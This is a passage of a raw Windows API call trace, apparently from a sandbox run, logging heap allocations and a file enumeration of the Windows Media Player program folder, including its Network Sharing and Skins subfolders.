RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4670 [0080.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123d120 [0080.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.305] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf424006, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf424006, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color120.png", cAlternateFileName="")) returned 1 [0080.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4690 [0080.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123d228 [0080.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.306] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf424006, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf424006, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color32.bmp", cAlternateFileName="")) returned 1 [0080.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f46b0 [0080.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123d330 [0080.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.308] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x24cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color32.jpg", cAlternateFileName="")) returned 1 [0080.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f46d0 [0080.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123d438 [0080.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5dc0) returned 0x124a7c8 [0080.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12292f0) returned 1 [0080.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.309] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.bmp", cAlternateFileName="")) returned 1 [0080.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f46f0 [0080.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123d540 [0080.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.310] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c85, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.jpg", cAlternateFileName="")) returned 1 [0080.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4710 [0080.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123d648 [0080.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.311] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4702c0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf4702c0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1532, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 1 [0080.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4730 [0080.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123d750 [0080.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.312] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4702c0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf4702c0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1532, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 0 [0080.312] GetLastError () returned 0x12 [0080.312] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.313] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2092, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5352, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw120.jpg", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1922, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw120.png", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw32.bmp", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x231f, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw32.jpg", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3d7d4c, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3d7d4c, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.bmp", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.jpg", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x101c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.png", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5788, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color120.jpg", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf424006, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf424006, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color120.png", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf424006, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf424006, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color32.bmp", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x24cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color32.jpg", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.bmp", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c85, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.jpg", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4702c0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf4702c0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1532, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 1 [0080.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4702c0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf4702c0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1532, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 0 [0080.314] GetLastError () returned 0x12 [0080.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.314] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.315] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa925159f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa925159f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0080.315] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0080.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.315] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins" (normalized: "c:\\program files\\windows media player\\skins"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.316] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins" (normalized: "c:\\program files\\windows media player\\skins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.316] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.316] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.316] NtClose (Handle=0x178) returned 0x0 [0080.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.317] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.317] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.317] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0080.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4750 [0080.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe018 [0080.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.318] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, 